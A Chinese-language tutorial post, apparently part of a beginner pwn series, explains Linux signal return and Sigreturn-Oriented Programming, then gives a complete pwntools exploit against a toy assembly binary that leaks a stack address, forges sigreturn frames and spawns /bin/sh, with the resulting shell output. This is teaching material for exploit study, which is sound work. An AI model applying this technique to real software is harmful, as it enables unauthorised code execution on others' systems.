1 2 3 4 5 6 7 8 9 10 11 12 13 14 | [ 10732.866379 ] CPU: 2 PID: 4567 Comm: srop_example Tainted: G OE 6.1 . 0 - 25 - amd64 #1 Debian 6.1.106-3 [ 10732.866382 ] Hardware name: innotek GmbH VirtualBox / VirtualBox, BIOS VirtualBox 12 / 01 / 2006 [ 10732.866384 ] Call Trace: [ 10732.866387 ] <TASK> [ 10732.866390 ] dump_stack_lvl + 0x44 / 0x5c [ 10732.866399 ] stack_dump_by_kprobe_pre + 0x5a / 0xef0 [lde] [ 10732.866406 ] ? __do_sys_rt_sigreturn + 0x1 / 0xf0 [ 10732.866411 ] kprobe_ftrace_handler + 0x10b / 0x1b0 [ 10732.866420 ] 0xffffffffc034e0c8 [ 10732.866428 ] ? __do_sys_rt_sigreturn + 0x1 / 0xf0 [ 10732.866433 ] __do_sys_rt_sigreturn + 0x5 / 0xf0 [ 10732.866437 ] do_syscall_64 + 0x55 / 0xb0 ...... [ 10732.866503 ] entry_SYSCALL_64_after_hwframe + 0x6e / 0xd8 |
该函数操作并不复杂,主要就是还原之前保存在栈上的上下文信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | SYSCALL_DEFINE0(rt_sigreturn) { struct pt_regs * regs = current_pt_regs(); struct rt_sigframe __user * frame; sigset_t set ; unsigned long uc_flags; frame = (struct rt_sigframe __user * )(regs - >sp - sizeof( long )); if (!access_ok(frame, sizeof( * frame))) goto badframe; if (__get_user( * (__u64 * )& set , (__u64 __user * )&frame - >uc.uc_sigmask)) goto badframe; if (__get_user(uc_flags, &frame - >uc.uc_flags)) goto badframe; set_current_blocked(& set ); if (!restore_sigcontext(regs, &frame - >uc.uc_mcontext, uc_flags)) goto badframe; if (restore_altstack(&frame - >uc.uc_stack)) goto badframe; return regs - >ax; badframe: signal_fault(regs, frame, "rt_sigreturn" ); return 0 ; } |
此时再次回到用户态程序后,程序就会接着执行处理信号前的内容。
利用思路
在整个信号处理的过程中,内核会将上下文信息保存在用户态程序的栈上,后续再通过sigreturn
系统调用发出恢复信号,因为用户态栈是可读可写的,这非常方便我们进行控制,当我么规划好sigreturn
所需要的栈数据并触发sigreturn
系统调用时,就会让程序跳入我们的控制之内。
那么栈上的上下文信息应该如何构造呢?
被压入栈的上下文信息通过ucontext_t
结构体进行描述,ucontext_t
结构体中的uc_mcontext
成员内的gregs
记录着信号处理函数执行前的寄存器信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | - - - - gregs start - - - - 0x0000000000000000 ; 0x0000000000000064 ; 0x00007fffffffddc4 ; 0x0000000000000202 ; 0x0000000000000000 ; 0x00007fffffffe018 ; 0x0000000000403d78 ; 0x00007ffff7ffd020 ; 0x00007fffffffd990 ; 0x00000000004052a0 ; 0x00007fffffffdef0 ; 0x00007fffffffe008 ; 0x0000000000000000 ; 0xfffffffffffffffc ; 0x00007ffff7e9ed10 ; 0x00007fffffffdee8 ; 0x00007ffff7e9ed10 ; 0x0000000000000202 ; 0x002b000000000033 ; 0x0000000000000000 ; 0x0000000000000001 ; 0x0000000000000000 ; 0x0000000000000000 ; - - - - gregs end - - - - (gdb) info registers rax 0xfffffffffffffdfe - 514 rbx 0x7fffffffe008 140737488347144 rcx 0x7ffff7e9ed10 140737352690960 rdx 0x0 0 rsi 0x4052a0 4215456 rdi 0x7fffffffd990 140737488345488 rbp 0x7fffffffdef0 0x7fffffffdef0 rsp 0x7fffffffdee8 0x7fffffffdee8 r8 0x0 0 r9 0x64 100 r10 0x7fffffffddc4 140737488346564 r11 0x202 514 r12 0x0 0 r13 0x7fffffffe018 140737488347160 r14 0x403d78 4210040 r15 0x7ffff7ffd020 140737354125344 rip 0x7ffff7e9ed10 0x7ffff7e9ed10 <__libc_pause + 16 > eflags 0x202 [ IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 |
gregs
中共包含23个寄存器,下面列出了元素0到元素22对应的寄存器名。
1 2 3 4 5 6 | r8 r9 r10 r11 r12 r13 r14 r15 rdi rsi rbp rbx rdx rax rcx rsp rip eflags cs|gs|fs|ss err trapno oldmask cr2 |
显然当我们控制rip
寄存器及传递形参的rdi
等寄存器中数值时,就可以借助sigreturn
的返回操作跳转到我们期望中的位置,除此之外rsp
寄存器也位于栈上,当通过pop rip
(如ret
)操作获取下一条程序指针时,我们就可以通过控制rsp
组成利用链。
示例讲解
程序的源代码和编译命令在下方给出了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 编译命令: as - o test.o main.S ld - s - o test test.o 源代码: .text . global _start _start: xor % rax, % rax mov $ 0x400 , % edx mov % rsp, % rsi mov % rax, % rdi syscall ret |
程序并不复杂,为了基于信号返回机制完成ROP,我们这里第一步需要构造sigreturn
需要的栈,在pwntool
中的SigreturnFrame
接口可以直接创造一个假的栈,然后再对里面的数据进行修改。
当我们想要通过execive
创建进程时,首先需要考虑的就是参数问题,由于我们需要给寄存器明确指示参数的所在位置,因此我们需要知道一个栈上的地址,并利用它作为基地址填充数据。
这个程序非常简单,因此原始的栈上只包含argc
、argv
、环境变量以及auxv
,从argv
开始任意的地址都是栈上的地址,程序读取0x400,如果我们可以越过首条指令,让rax
为1,那么就可以泄露rsp+0x0
到rsp+0x400
范围内的数据,并轻松的得到一个栈上的地址。
rax
寄存器非常好控制,它有一个特殊用途,就是保存返回值,如果我们只读取一个字节,并让程序在结束后从mov $0x400,%edx
继续运行,就可以控制rax
寄存器,新发送的一个字节会覆盖rsp+0x0
数据的最低位字节,当rsp+0x0
处原本就存储着一个程序地址,我们再发送mov $0x400,%edx
对应的最低字节数据,就可以跳过xor
指令。
exploit构造
经过上面的分析后,构造出下面的exploit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | import pwn import time pwn.context.clear() pwn.context.update( arch = 'amd64' , os = 'linux' , ) target_info = { 'exec_path' : './srop_example' , 'addr_len' : 0x8 , '_start_offset' : 0x401000 , 'syscall_ret_offset' : 0x40100e , 'skip_xor_byte' : 0x03 , 'sigretreturn_syscall_num' : 0xf , 'stack_addr' : 0x0 , 'bin_sh_str_offset' : 0x140 , } ''' goto starting point three time: first: read one byte, set rax = 1 and skip [xor] second: write to stdout [rsp+0x0 - rsp+0x400] three: read next payload ''' def pwn4leak_stack_info4goto(): payload = pwn.p64(target_info[ '_start_offset' ]) * 3 return payload def pwn4leak_stack_info4write(): payload = pwn.p8(target_info[ 'skip_xor_byte' ]) return payload def pwn4stack_set_by_sigframe(): sigframe = pwn.SigreturnFrame() sigframe.rax = pwn.constants.SYS_read sigframe.rdi = 0x0 sigframe.rsi = target_info[ 'stack_addr' ] sigframe.rdx = 0x400 sigframe.rcx = 0x0 sigframe.r8 = 0x0 sigframe.r9 = 0x0 sigframe.rsp = target_info[ 'stack_addr' ] sigframe.rip = target_info[ 'syscall_ret_offset' ] payload = pwn.p64(target_info[ '_start_offset' ]) payload + = b 'A' * target_info[ 'addr_len' ] payload + = bytes(sigframe) return payload def pwn4shell_get_by_sigframe(): sigframe = pwn.SigreturnFrame() sigframe.rax = pwn.constants.SYS_execve sigframe.rdi = target_info[ 'stack_addr' ] + target_info[ 'bin_sh_str_offset' ] sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rcx = 0x0 sigframe.r8 = 0x0 sigframe.r9 = 0x0 sigframe.rsp = target_info[ 'stack_addr' ] sigframe.rip = target_info[ 'syscall_ret_offset' ] payload = pwn.p64(target_info[ '_start_offset' ]) payload + = b 'B' * target_info[ 'addr_len' ] payload + = bytes(sigframe) payload + = b '\x00' * (target_info[ 'bin_sh_str_offset' ] - len (payload)) payload + = b '/bin/sh\x00' return payload def pwn4sigreturn_rax_set(): payload = pwn.p64(target_info[ 'syscall_ret_offset' ]) payload + = b 'C' * 7 return payload ''' stage one -> leak stack info stage two -> set stack address by sigreturn stage three -> get shell [payload on stack] by sigreturn ''' print ( '[--] tips: may need update new offset' ) conn = pwn.process(target_info[ 'exec_path' ]) payload_1 = pwn4leak_stack_info4goto() conn.send(payload_1) time.sleep( 1 ) payload_2 = pwn4leak_stack_info4write() conn.send(payload_2) leak_info = conn.recv() target_info[ 'stack_addr' ] = pwn.u64(leak_info[ 8 : 16 ]) print ( '[++] reveive: stack address = {0}' . format ( hex (target_info[ 'stack_addr' ]))) payload_5 = pwn4sigreturn_rax_set() payload_3 = pwn4stack_set_by_sigframe() conn.send(payload_3) time.sleep( 1 ) conn.send(payload_5) time.sleep( 1 ) payload_4 = pwn4shell_get_by_sigframe() conn.send(payload_4) time.sleep( 1 ) conn.send(payload_5) conn.interactive() |
成功PWN
运行exploit后成功获取Shell。
1 2 3 4 5 6 7 8 9 10 11 | [ - - ] tips: may need update new offset [ + ] Starting local process './srop_example' : pid 3966 [ + + ] reveive: stack address = 0x7ffc911aa323 [ * ] Switching to interactive mode $ id uid = 1000 (astaroth) gid = 1000 (astaroth) groups = 1000 (astaroth), 24 (cdrom), 25 (floppy), 27 (sudo), 29 (audio), 30 (dip), 44 (video), 46 (plugdev), 100 (users), 106 (netdev), 114 (bluetooth), 117 (lpadmin), 121 (scanner) $ exit [ * ] Got EOF while reading in interactive $ [ * ] Process './srop_example' stopped with exit code 0 (pid 3966 ) [ * ] Got EOF while sending in interactive |
开启调试模式才能PWN?
在运行调试脚本的时候发现只有打开pwntool
的调试开关后,才可以正常的完成PWN,否则就会失败。
1 | log_level = 'debug' |
失败之前会先进入交互模式,此时不管你输入什么都会立即失败,比如这里我们直接输入了回车键,然后直接收到了SIGSEGV
的崩溃错误。
1 2 3 4 | [ * ] Switching to interactive mode $ Program received signal SIGSEGV, Segmentation fault. |
观察rsp
上的数据可以发现回车键对应的ASCII码0x0a
被送进了缓冲区当中。
1 2 | (gdb) x / gx $rsp 0x7fff397d9998 : 0x424242424242420a |
程序仍然在读取信息,这与我们进入交互模式时是与Shell进行交互的初衷有所背离。
显然有部分的信息没有发送给程序。
要知道这是一段极其简单的汇编代码,并且直接通过syscall
调用的read
接口,并没有给stdout
等文件处理缓冲区,由于脚本发送数据的速度过快,同时又没有缓冲区进行临时的存在,导致了数据的丢失,因为开启调试模式后,调试信息的输出需要占用一定的时间,所以send
会间隔一段时间后再发送,就不会产生数据丢失的情况。
我们在send
之后添加sleep
函数,也可也缓解这一问题。
1 2 3 | import time time.sleep( 1 ) |
[峰会]看雪.第八届安全开发者峰会10月23日上海龙之梦大酒店举办!
赞赏
- PWN入门-12-SROP拜师 1658
- [原创]PWN入门-11-制服_dl_resolve_runtime 3436
- PWN入门-10-恶僧盗堆栈-栈迁移 3339
- PWN入门-9-智收REG-ret2reg 2228
- PWN入门-8-CSU喜相逢 3433